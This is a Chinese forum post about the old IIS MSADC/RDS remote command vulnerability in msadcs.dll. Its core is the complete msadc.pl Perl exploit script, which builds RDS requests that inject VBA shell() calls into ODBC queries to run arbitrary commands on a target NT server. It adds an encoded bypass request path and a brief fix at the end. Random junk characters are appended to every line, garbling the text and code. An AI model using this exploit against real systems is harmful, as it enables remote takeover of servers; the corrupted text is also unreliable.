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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !$P +hX`  
0vbiq  
涉及程序: u;rK.3o  
Microsoft NT server uKHkC.g  
GP6-5Y"8  
描述: E~Eh'>Y(B  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +Bk" khH  
-h+=^,  
详细: O) NEt  
如果你没有时间读详细内容的话,就删除: VDq4n;p1  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ij i<+oul  
有关的安全问题就没有了。 d5mhk[p7\J  
*F| j%]k~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3)ac  
Z".mEF-b  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 !mLQdkTE  
关于利用ODBC远程漏洞的描述,请参看: `oQ)qa_  
V~ph1Boz2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }GX[N\$N  
$Ay j4|_-  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \lwYDPY:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp x-O9|%aRJ  
ug*#rpb  
这里不再论述。 T 7`9[  
lIPy)25~  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: D.elE:  
`vs= CYs  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset fZ!fwg$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! VU6nu4   
0?59o!@h  
A??(}F L  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ma@3BiM  
#Bq.'?c'~  
#!perl .zxP,]"l  
# aVsA5t\zi  
# MSADC/RDS 'usage' (aka exploit) script ip6$Z3[)  
# oo sbf#V  
# by rain.forest.puppy _): V7Zv  
# Y Y4"r\V  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E=!=4"rZF  
# beta test and find errors! 2K?~)q&t*  
AY{#!RtV  
use Socket; use Getopt::Std; wT/TQEgz  
getopts("e:vd:h:XR", \%args); Vp{e1xpY  
 Khd"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (`h$+p^-y  
xE%1C6~C<  
if (!defined $args{h} && !defined $args{R}) { q2v:lSFY  
print qq~ + <AD  
Usage: msadc.pl -h <host> { -d <delay> -X -v } nk.m G ny  
-h <host> = host you want to scan (ip or domain) j/"{tMqQp  
-d <seconds> = delay between calls, default 1 second ^wesuW@=  
-X = dump Index Server path table, if available eHr|U$Rpo  
-v = verbose oL?(; `"&  
-e = external dictionary file for step 5 pE.f}  
:C6  
Or a -R will resume a command session ANB@cK_  
\\;i  
~; exit;} 242dT/j  
z~tCag8I(k  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; *=UxX ] 0y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Pp-\#WJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} E+wd9/;  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); f4.k%|]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} lR] z8 &  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (bEX"U-  
1n}q6oa=  
if (!defined $args{R}){ $ret = &has_msadc; P(OgT/7A  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &6!~Q,;K-  
 z.fh4p  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |X&.+RI  
. "cmd /c "; hT:+x3  
$in=<STDIN>; chomp $in; @j +8M  
$command="cmd /c " . $in ; 7w}D2|+  
=@%;6`AVcp  
if (defined $args{R}) {&load; exit;} B&^WRM;7t  
1~BDtHW7`n  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; jIY    
&try_btcustmr; 9[qEJ$--  
::13$g=T9s  
print "\nStep 2: Trying to make our own DSN..."; gq9D#B  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; #T\Yi|Qs#  
+Kc1a;  
print "\nStep 3: Trying known DSNs..."; ,Qvclu8r  
&known_dsn; ^`b&fb v  
~AbnksR  
print "\nStep 4: Trying known .mdbs...";  biwV7<  
&known_mdb; mmk]Doy?#  
[Xp{z tGE  
if (defined $args{e}){ HSq.0vYl6  
print "\nStep 5: Trying dictionary of DSN names..."; [$; \1P/  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z{h#l!Edh  
}1]E=!?)&  
print "Sorry Charley...maybe next time?\n"; VayU   
exit; \QF\Bh  
R#j -Z#/"  
############################################################################## rMDo5Z2  
2+KOUd&jS  
sub sendraw { # ripped and modded from whisker <~aQ_l  
sleep($delay); # it's a DoS on the server! At least on mine... !N5+.E0j  
my ($pstr)=@_; R Wa4O#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y|ONCc  
die("Socket problems\n"); u{%gB&nC  
if(connect(S,pack "SnA4x8",2,80,$target)){ Fv!zS.)`  
select(S); $|=1; rBBA`Ut@F  
print $pstr; my @in=<S>; 5#jna9Xc  
select(STDOUT); close(S); HN'r ZAZ(  
return @in; M6(oJ*  
} else { die("Can't connect...\n"); }} bu`8QQ"C  
Z4S0{:XY  
############################################################################## eIVCg-l}  
OkSJob  
sub make_header { # make the HTTP request Z2z"K<Z W  
my $msadc=<<EOT Izrf42 >k  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 /Mq]WXq[V  
User-Agent: ACTIVEDATA Fy4jujP<  
Host: $ip -fF1vJ7L  
Content-Length: $clen [~&C6pR  
Connection: Keep-Alive |||uTfrJ  
xEK+NKTeV  
ADCClientVersion:01.06 >z0~!!YZ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /<Nb/#8  
XD\RD  
--!ADM!ROX!YOUR!WORLD! +R7";.  
Content-Type: application/x-varg ?VM#Nf\  
Content-Length: $reqlen T';<;6J**  
c*nH=  
EOT + -e8MvP  
; $msadc=~s/\n/\r\n/g; tPO\e]  
return $msadc;} 1$,t:/'-4  
gI^);J rTE  
############################################################################## M1._{Jw5  
rCcNu  
sub make_req { # make the RDS request xl5n(~g)p  
my ($switch, $p1, $p2)=@_; $YDZtS&h  
my $req=""; my $t1, $t2, $query, $dsn; S@suPkQ<>  
nJ/wtw  
if ($switch==1){ # this is the btcustmr.mdb query ,#^<0u+zrF  
$query="Select * from Customers where City=" . make_shell(); N*t91 X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r4Ygy/%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ZdQm& ?  
y^; =+Z  
elsif ($switch==2){ # this is general make table query uA;3R\6?  
$query="create table AZZ (B int, C varchar(10))"; ]+\@_1<ZI  
$dsn="$p1";} /BWJ)6#H  
dZ!Wj7K)  
elsif ($switch==3){ # this is general exploit table query `!MyOI`qS  
$query="select * from AZZ where C=" . make_shell(); mT57NP  
$dsn="$p1";} AYHfe#!  
aubmA0 w  
elsif ($switch==4){ # attempt to hork file info from index server <}pwFl8C)  
$query="select path from scope()"; % '>S9Ja3  
$dsn="Provider=MSIDXS;";} V43pZ]YZ>  
H) g:<  
elsif ($switch==5){ # bad query VQHJ O I  
$query="select"; Vv(!Ki}  
$dsn="$p1";} riI0k{   
Z<a6U 3  
$t1= make_unicode($query); 4)=LOGW  
$t2= make_unicode($dsn); =J.)xDx*  
$req = "\x02\x00\x03\x00"; oRM EC7!A0  
$req.= "\x08\x00" . pack ("S1", length($t1)); qB3{65  
$req.= "\x00\x00" . $t1 ; fFXG;Q8&  
$req.= "\x08\x00" . pack ("S1", length($t2)); G'XlsyaWrb  
$req.= "\x00\x00" . $t2 ; bw#zMU^E  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4QWDuLu  
return $req;} Kb0OauW  
~CRr)(M  
############################################################################## %h U8ycI*h  
7BCCQsz<  
sub make_shell { # this makes the shell() statement /'1UfjW>  
return "'|shell(\"$command\")|'";} qF6YH  
D={|&:`L e  
############################################################################## y(|6`  
Gy[;yLnX  
sub make_unicode { # quick little function to convert to unicode <!:,(V>F(C  
my ($in)=@_; my $out; 8k'UEf`'(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -@ #b<"1  
return $out;} <[xxCW(2  
GY4 :9Lub7  
############################################################################## &Pt|  
EWN$ILdD  
sub rdo_success { # checks for RDO return success (this is kludge) Tgp}k%R~  
my (@in) = @_; my $base=content_start(@in); )!MeSWGq  
if($in[$base]=~/multipart\/mixed/){ '<f4POy!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  TyMR m  
return 0;} 87EI<\mP  
);$Uf!v4  
############################################################################## ~BCSm]j  
pTZPOv#?Q  
sub make_dsn { # this makes a DSN for us 0CY_nn#3  
my @drives=("c","d","e","f"); %" $.2O@  
print "\nMaking DSN: "; #{(?a.:  
foreach $drive (@drives) { !m pRLBH  
print "$drive: "; D8_m_M| P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . x Mtl<Na   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?n/:1LN,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); h 88iZK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _jef{j  
return 0 if $2 eq "404"; # not found/doesn't exist yhEU *\:  
if($2 eq "200") { D_O%[u}  
foreach $line (@results) { D0PP   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?)Lktn9%  
} return 0;} TJ`E/=J!  
lfu1PCe5  
############################################################################## ^BjwPh4Z#  
mKZ?H$E%%  
sub verify_exists { O7j$bxk/^  
my ($page)=@_; _6qf>=qQ`"  
my @results=sendraw("GET $page HTTP/1.0\n\n"); BW:&AP@B  
return $results[0];} 5L|yF"TI#  
AEK* w4  
############################################################################## [8Ub#<]]  
[w~teX0!  
sub try_btcustmr { e~J% NU'&  
my @drives=("c","d","e","f"); q=bJ9iJsq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -!">SY\  
@okC":Fw,  
foreach $dir (@dirs) { .eXIbd<C  
print "$dir -> "; # fun status so you can see progress Q" VFcp:  
foreach $drive (@drives) { xN2M| E]  
print "$drive: "; # ditto -9-%_=6  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ZcX%:ebKS  
$reqlenlen=length( "$reqlen" ); $$ {ebt  
$clen= 206 + $reqlenlen + $reqlen; %kNkDI  
*%ZfE,bu8<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ] V]~I.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 6\O4R  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ix^:qw;  
yqlkf$?  
############################################################################## "eI-Y`O,  
P%pB]d.qpi  
sub odbc_error { H` Q_gy5Z(  
my (@in)=@_; my $base; a%ec: %  
my $base = content_start(@in); 7H[#  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this n5UcivyX  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (W3R3>;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3w {4G<I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0Qw?.#[9  
return $in[$base+4].$in[$base+5].$in[$base+6];} =DE5 Wq19  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ym& _IOx  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . <3HW!7Ad1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} zDa*n:S  
w[PW-m^`  
############################################################################## h'UWf"d  
`Lm ArW:  
sub verbose { B_`A[0H  
my ($in)=@_; 4OCz:t  
return if !$verbose; LLgN%!&  
print STDOUT "\n$in\n";} ,0<|&D  
@z dmB~C  
############################################################################## z2!NBOv  
VbBZ\`b  
sub save { &[S)zR=?  
my ($p1, $p2, $p3, $p4)=@_; 3z&,>CEX  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; nImRU.;P  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  +aP %H  
close OUT;} o [ar.+[  
\C}tK,79  
############################################################################## :+]6SC0ql  
PhKJ#D Rbr  
sub load { tDEpR  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'ycs{}'  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `{F8#    
@p=<IN>; close(IN); ),bdj+wr78  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^fnRzX  
$target= inet_aton($ip) || die("inet_aton problems"); uHz D  
print "Resuming to $ip ..."; X /5tZ@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; U <4<8'  
if($p[1]==1) { M/d!&Bk  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 9]NsWd^^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; zCO5 `%14  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *PL+)2ob  
if (rdo_success(@results)){print "Success!\n";} zd#qBj]g  
else { print "failed\n"; verbose(odbc_error(@results));}} 3p!R4f)GN  
elsif ($p[1]==3){ _3A$z A  
if(run_query("$p[3]")){ J[LGa:``  
print "Success!\n";} else { print "failed\n"; }} axU!o /m>  
elsif ($p[1]==4){ Y0|~]J(B  
if(run_query($drvst . "$p[3]")){ p4{?Rhb6  
print "Success!\n"; } else { print "failed\n"; }} e"^1- U\  
exit;} 9IMRWtZWT  
EW2e k^  
############################################################################## e;rs!I !Yw  
y*Ex5N~JC  
sub create_table { PK3T@Qv89  
my ($in)=@_; +|#sF,,X4g  
$reqlen=length( make_req(2,$in,"") ) - 28; 2U~oWg2P  
$reqlenlen=length( "$reqlen" ); lt,x(2  
$clen= 206 + $reqlenlen + $reqlen; s)/i_Oe$\  
my @results=sendraw(make_header() . make_req(2,$in,"")); &lI.N~Ao  
return 1 if rdo_success(@results); n )`*{uv$  
my $temp= odbc_error(@results); verbose($temp); {j:{wW.  
return 1 if $temp=~/Table 'AZZ' already exists/;  Kn\Oj=4  
return 0;} 8l!S<RA  
A|RAMO@le  
############################################################################## 4 Iy\   
 J|6aa  
sub known_dsn { 6_zL#7E'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;HqK^[1\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f_raICO{R  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", dqF--)Nb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); "]MF =-v  
;=h^"et  
foreach $dSn (@dsns) { ?1PY]KNaK  
print "."; NTAPx=!1*  
next if (!is_access("DSN=$dSn")); iy$]9Wf6=@  
if(create_table("DSN=$dSn")){ ) 3Y E$,  
print "$dSn successful\n"; P.;B V",  
if(run_query("DSN=$dSn")){ fVf.u'.8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )%ja6Vg  
print "Something's borked. Use verbose next time\n";}}} print "\n";} jgEiemh&  
{R1jysG tD  
############################################################################## Z8'uZ#=Yw  
o6vm(I%  
sub is_access { Ypv"u0  
my ($in)=@_; /-BplU*"9  
$reqlen=length( make_req(5,$in,"") ) - 28; zI7-xqZ  
$reqlenlen=length( "$reqlen" ); 1/le%}mK  
$clen= 206 + $reqlenlen + $reqlen; MIt\[EB  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,dh*GJ{5  
my $temp= odbc_error(@results); PjsQ+5[>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :O//A6 v  
return 0;} s/,St!A 4!  
/}M@ @W  
##############################################################################  ZfvFs  
uE5kL{Fv  
sub run_query { aYPzN<"%  
my ($in)=@_; EWqKd/  
$reqlen=length( make_req(3,$in,"") ) - 28; hrcR"OZ~X  
$reqlenlen=length( "$reqlen" ); ?c>j^}A/N  
$clen= 206 + $reqlenlen + $reqlen; d>vGx  
my @results=sendraw(make_header() . make_req(3,$in,"")); H,H'bd/  
return 1 if rdo_success(@results); Q`19YX  
my $temp= odbc_error(@results); verbose($temp); Itz_;+I.Mp  
return 0;} NaVZ)  
+;cw<9%0  
############################################################################## Yj0Ss{Ep  
H3a}`3}U  
sub known_mdb { U4LOe}Ny  
my @drives=("c","d","e","f","g"); aNXu"US+Sp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %X[|7D-  
my $dir, $drive, $mdb; (V e[FhA  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =BX<;vU  
QKOo # 7  
# this is sparse, because I don't know of many 7J>n;8{%?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", lZ_i~;u4@v  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", bcj7.rh]'h  
"\\system32\\certmdb.mdb", 9.%{M#j  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% W"wP%  
Keof{>V=CA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", v5<Ext rV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vhhsOga  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", uOW9FAW  
"\\cfusion\\cfapps\\security\\realm_.mdb", `+* Mr  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", pOS.`rSK  
"\\cfusion\\database\\cfexamples.mdb", ~9'VP }\  
"\\cfusion\\database\\cfsnippets.mdb", 'iL['4~.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", l|N1u=Z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", MR+ndB<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", z),l&7  
"\\cfusion\\database\\smpolicy.mdb", ] YQ*mvI]  
"\\cfusion\\database\cypress.mdb", :_H$*Q=1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", GD*6tk;5/  
"\\website\\cgi-win\\dbsample.mdb", fMLm_5(H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Yq;S%.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {kZhje^$vi  
); #these are just i[jAAr$  
foreach $drive (@drives) { V (X)Qu@R  
foreach $dir (@dirs){ EW]gG@w]5r  
foreach $mdb (@sysmdbs) { g<.VW 0  
print "."; |5![k<o#  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [#2= w  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Wigm`A=,r  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /- kMzL  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X8*q[@$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} y'E)iI*  
!-2 S(8  
foreach $drive (@drives) { ~yO.R)4v  
foreach $mdb (@mdbs) { V?5_J%  
print "."; \ =83#*KK  
if(create_table($drv . $drive . $dir . $mdb)){ =2`s Uw}  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~'T]B{.+J  
if(run_query($drv . $drive . $dir . $mdb)){ C(?lp  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `9 $?g|rB  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^M?uv{354  
} 4Q3Q.(  
A?6b)B/e?  
############################################################################## eUBk^C]\  
6=  9  
sub hork_idx { *(r85lEou)  
print "\nAttempting to dump Index Server tables...\n"; p]pFZ";70  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; m0\(a_0V  
$reqlen=length( make_req(4,"","") ) - 28; qe\j$Cjy  
$reqlenlen=length( "$reqlen" ); Wxp^*._q3I  
$clen= 206 + $reqlenlen + $reqlen; VMtR4!:q  
my @results=sendraw2(make_header() . make_req(4,"","")); t/q\Ne\\,  
if (rdo_success(@results)){ }b,a*4pN  
my $max=@results; my $c; my %d; >xH3*0 Lp  
for($c=19; $c<$max; $c++){ !^\|r<2M  
$results[$c]=~s/\x00//g; ; G E0iSC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; L@[bgN`=v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |/r@z[t  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ];Z_S`JR  
$d{"$1$2"}="";} N 8mK^{  
foreach $c (keys %d){ print "$c\n"; } /nC"'d(#  
} else {print "Index server doesn't seem to be installed.\n"; }} I98wMV8  
c?z% z&  
############################################################################## zHx?-Q&3  
Bpqq-_@  
sub dsn_dict { xp,H5 m%  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); j[Et+V?  
while(<IN>){ )ns;S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 0e/~H^,SQ  
next if (!is_access("DSN=$dSn")); Uvz9x"0[u  
if(create_table("DSN=$dSn")){ H[6d@m- Z  
print "$dSn successful\n"; g\6(ezUF*  
if(run_query("DSN=$dSn")){ *!nS4 [d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [vIO  
print "Something's borked. Use verbose next time\n";}}} 4NbC V)Dm  
print "\n"; close(IN);} oXz:zoNQ  
5Pv>`E2^  
############################################################################## 7f 7*id  
U(i2j)|^I3  
sub sendraw2 { # ripped and modded from whisker BKJW\gS2  
sleep($delay); # it's a DoS on the server! At least on mine... 2U#OBvNU  
my ($pstr)=@_; T`vj6F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Xv'64Nc!;  
die("Socket problems\n"); tc# rL   
if(connect(S,pack "SnA4x8",2,80,$target)){ guf+AVPno  
print "Connected. Getting data"; ~%GUc ~  
open(OUT,">raw.out"); my @in; 5a_K|(~3I  
select(S); $|=1; print $pstr; _39b8s {  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 1M<'^(t3d  
close(OUT); select(STDOUT); close(S); return @in; az19-QIcg  
} else { die("Can't connect...\n"); }} G.(9I~!  
i2swots  
############################################################################## h3JIiwv0!  
r2H]n.MT  
sub content_start { # this will take in the server headers *Jp>)>  
my (@in)=@_; my $c; u#}zNz#C5  
for ($c=1;$c<500;$c++) { )DoY*'Cl  
if($in[$c] =~/^\x0d\x0a/){ t,RR\S  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QMkLAZ  
else { return $c+1; }}} ."=Bx2  
return -1;} # it should never get here actually BfhOe~+i  
1FY^_dvH  
############################################################################## Fv(zql  
7e u7ie6  
sub funky { {zg}KiNDZd  
my (@in)=@_; my $error=odbc_error(@in); ;,9|;)U?u  
if($error=~/ADO could not find the specified provider/){ 0WYVt"|;}c  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _YbHnb  
exit;} NEK;'"  ~  
if($error=~/A Handler is required/){ v|n.AGn  
print "\nServer has custom handler filters (they most likely are patched)\n"; OZ7MpQ  
exit;} U[Z1@2zLx  
if($error=~/specified Handler has denied Access/){ ^yBx.GrQc  
print "\nServer has custom handler filters (they most likely are patched)\n"; D4 e)v%  
exit;}} LeO5BmwHR  
}.e*=/"MB  
############################################################################## ^>]p4Q3 6  
bD49$N?>  
sub has_msadc { u6|7P<HUfb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "esV#%:#J  
my $base=content_start(@results); ?K}/b[[0v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); f$/Daq <M  
return 0;} < v0 d8  
:a`l_RMU  
######################## YMm Fpy  
=FdS'<GM  
S* <: He&1  
解决方案: y'Wz*}8pr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !&! sn"yD  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "y5c)l(Rg  
Soq 'B?>  
拿出来充数 哈哈
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